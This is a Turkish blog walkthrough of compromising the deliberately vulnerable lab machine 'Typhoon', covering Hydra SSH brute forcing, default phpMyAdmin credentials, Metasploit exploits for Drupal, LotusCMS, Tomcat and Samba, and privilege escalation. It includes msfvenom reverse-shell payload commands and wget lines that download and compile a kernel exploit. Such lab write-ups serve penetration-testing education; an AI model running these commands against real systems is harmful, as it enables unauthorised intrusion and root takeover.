Sızma Testi Örnekleri:TYPHOON

Prisma CSI tarafından hazırlanan zafiyetli makinanın çözümünü anlatacağım.Sanal makinanın adı Typhoon(tayfun).İsmini hedef benmiyim tayfun? repliğinden alan bu makina zafiyet yuvası ve çözümü oldukça zevkli.İsterseniz hemen çözümüne geçelim.

İçerik;

Exploitation

  • Nmap çıktısı.
  • FTP’de ne var?
  • SSH’a levye ile dalmak.
  • Phpmyadmin’de de neler varmış ?
  • Calendar exploitation.
  • Drupal exploitation.
  • DVWA üzerinden shell almak.
  • LotusCMS exploitation.
  • MongoDB Creds.
  • Tomcat exploitation.
  • SMB’ye uğramadan olmaz.

Privilege Escalation

  • Exploit Suggester ile yetki yükseltmek.
  • Suid-Sgid bitlerine göz atmak.

Nmap Çıktısı

İlk önce hedef makinada hangi portlar,bu portlarda hangi servisler çalışıyor bunlara bakmalıyız.Nmap benim vazgeçilmezim

Nmap çıktısı bize bilmemiz gereken çoğu şeyi gösteriyor.Şimdi ftp’den başlayalım.

FTP’de ne var ?

vsftpd 3.0.2 ye ait bir exploit bulamadım bu yüzden anonymous kullanıcı var mı diye bakıyorum.

Anonymous kullanıcı var ama herhangi birşey çıkmadı ftp’den.Burayı geçiyorum.

SSH’a levye ile dalmak

Bu deyimi çok seviyorum.Neymiş öyle kaba kuvvet saldırısı falan.Neyse kısacası brute force işlemi.Bunun için Hydra kullandım.Kullandığım komut bu.

hydra -L Users.txt -P rockyou.txt 172.20.10.2 -t 20 ssh -V

Komutu açıklamak gerekirse -L ile kullanıcı listemizi belirtiyoruz.Eğer belli bir kullanıcı adı var ise -l ile belirtebilirsiniz. Parola listesini -P ile belirtiyoruz. Daha sonrasında ip adresini veriyoruz ve -t ile thread sayısını belirtiyoruz.Son olarak -V parametresi ile Verbose output vermesini sağladık.

Aklınıza şöyle bir soru gelebilir.Neden parola listesini rockyou.txt kullandık? ya şifre türkçe ise ? diye düşünebilirsiniz ama bu tarz makinalarda ve ctf’lerde genelde parolalar rockyou.txt içerisinden seçiliyor.Bende bunu düşünerek bu dosyayı kullandım 🙂 Hemen deniyelim bakalım.

Gördüğünüz gibi ssh bağlandık.

Phpmyadmin’de de neler varmış ?

Phpmyadmin de nereden çıktı diyebilirsiniz.Dirb ile makineyi taradığımda karşılaştım.İşin çok da sihirli tarafı yok 🙂

Karşıma çıkan ekranda kullanıcı adı ve parolanın varsayılan olarak(root:toor)bırakıldığını düşündüm(bende çok yapıyorum) ve giriş yapabildim.

Veritabanlarına baktığımda resmen beni hackle diye bağırdıklarını gördüm.

Calendar exploitation

Dirb çıktısında da Takvim çıkmıştı.

Açıksası Takvim hakkında pek bilgim yoktu.Phpmyadmin de webcal_user tablosuna baktım ve kullanıcı adı ile şifre buldum.

Şifreyi hashkiller da sorguladığımda parolayı elde ettim.

Calendar a girmeyeye çalıştığımda beni farklı bir adrese yönlendirdiğini gördüm.

Tabi sayfa yanıt vermedi.Ben de /etc/hosts dosyasına bi ayar çektim.

Daha sonra sayfaya giriş yaptığımda sol alt köşede bana versiyon numarası verdi.Şimdilik es geçtim daha sonra bakacağım zaten.

Kullanıcı adı ve parolayı kullanarak giriş yaptım ama pek bişey çıkmadı. 🙁

Hemen versiyon numarasını aratıp exploit kontrolü yaptım ve exploitini buldum.

Exploiti kullandım ve basit bir python cümlesi ile interaktif shell’e geçtim.

Drupal exploitation

Dirb çıktısında Drupal çıktı.Sanki çıkmasa haberim olmayacak 😀

Phpmyadminde users_field_data tablosunda kullanıcı adı ve bir şifre buldum ama şifreleme algoritmasının ne olduğunu bilmiyordum ki drupal’ın versiyonunu da bilmiyordum.

Şifreyi hashid ile kontol ettiğimde drupal’ın kendi şifreleme algoritması olduğunu ve versiyonunu gösterdi. Bu benim çok işime yaradı.Versiyonu internette aradığımda drupalgeddon2 isimli exploitin olduğunu gödrüm.Metasploitte olduğunu gördüm.

Exploiti kullanırken drupalın bulunduğu dizini göstermeyi unutmayın.

DVWA üzerinden shell almak

Bu zafiyetli web uygulamasını mutlaka biliyorsunuzdur.Kurulu olması benim çok işime yaradı çünkü hiç uğraşmadan shell almamı sağladı.Önce kullanıcı adı ve parola için phpmyadmin’e bakıyorum.

Hashkiller da şifreyi sorgulattım ve parolayı elde ettim.

DVWA’ya admin kullanıcı adı ve password parolası ile girdim.Sonrasında Security kısmından güvenliği düşük seviyeye çektim ki gereksiz bir uğraş olmasın 🙂

Daha sonra shell oluşturdum şu komutçuk ile

msfvenom -p php/meterpreter/reverse_tcp lhost=IP_ADRESI lport=PORT-f raw

Hiç zorlanmadan ağrısız sızısız shell’imi yükledim.

/hackable/uploads/ dizini altına yüklendiğini görüyorsunuz. Bu sırada metasploit ile dinleme noktası oluşturdum ve shell.php dosyasını çağırdığımda shell aldım.

LotusCMS exploitation

Phpmyadmin de karşımıza çıkmamış olsada dirb den kaçamadı.

İlgili bağlantıya girdiğimde beni şöyle bir sayfa karşılıyor.Pek bişey bulamadım.

Bir umut exploiti vardır deyip metasploitte ismini aradım ve exploiti olduğunu gördüm.Ne güzel yaw.

Bu exploitinde kullanımı çok basit sadece lotuscms in kurulu olduğu dizini göstermeniz yeterli.

MongoDB Creds

Nmap ile 80. port’a script taraması yaptığımda bana robots.txt dosyasında mongoadmin dizini olduğunu gösterdi.

İlgili bağlantıyı açtığımda karşıma çıkan sayfa şu şekilde.

Credentials kısmından creds seçilir ve güzel bilgilere ulaşılır.

Bu bilgileri ssh bağlantısı için kullanıyorum ve ne göreyim işe yaradı.

Tomcat exploitation

exploitation örnekleri yazımda bundan bahsetmiştim ve yine karşımıza çıkıyor bu arkadaş.Nmap çıktısında 8080.portta tomcat servisini hatırlamışsınızdır.Hemen bakalım.

Kullanıcı adı ve parolayı az çok tahmin ediyorum ama işi garantiye almak için metasploitte bulunan tomcat_mgr_login scriptini kullanıyorum ve sonuç ortada.

Giriş yaptıktan sonra biraz aşağıda bulunan Select WAR file to upload kısmına oluşturduğumuz shell i yüklüyoruz.

msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP_ADRESI LPORT=PORT -f war > tomcat.war

Yükledikten sonra biraz yukarıda yüklediğimiz dosyanın adı çıkıyor.

İlgili Bağlantıyı açar açmaz shell alıyorum.

SMB’ye uğramadan olmaz

Geldik en zevkli kısıma.Zafiyet yuvası olan samba servisine bir göz atalım.Nmap ile 445.porta script taraması yaptıktan sonra samba servisinde zafiyet olduğunu görüyorum.

İlgili CVE numarasını metasploitte aradıktan sonra exploite ulaşıyorum ve başlıyorum makinenin içinden geçmeye 🙂

Privilege Escalation

Buraya kadar iyi hoş makineye sızdık ama root yetkisine sahip değiliz peki ne yapacağız ?

Exploit Suggester ile yetki yükseltmek

SSH ile bağlı olduğumuz makineye exploit suggester yükleyip çalıştırmak için gerekli komut.

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O suggest.sh
bash suggest.sh

Yükleyip çalıştırdıktan sonra bize işe yarayabilecek local exploitleri listeliyor.Ben burda newpid isimli exploiti kullanacağım.

Exploiti indirmek için;

wget https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c

Derleyip çalıştırmak için;

gcc newpid.c -o pwn -static
./pwn

Suid-Sgid bitlerine göz atmak

Tabi tek yöntem exploit suggester değil.SUID-SGID bitleri ayarlı dosyalara bakalım işe yarar birşeyler var mı ?

find / -perm -u=s -type f 2>/dev/null

Çok güzel sudo suid bit ayarlı. Bu şu demek istediğimiz her uygulamayı root yetkileriyle çalıştırabileceğiz.Hatırlarsanız basit python cümlesinden bahsetmiştim.Hemen deneyelim.

Gördüğünüz gibi kolayca root olduk. Diğer yazıda görüşürüz canlar.

1 Yorum

  • Coosef
    Coosef
    Eylül 18, 2019 10:27'de

    Çok yararlı olmuş bu tarz bir bilgi arıyordum. Standat testlerde neler yapılıyor gibi bireysel yapmak istediğim için benim için faydalı teşekkür ederim.

    Reply

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir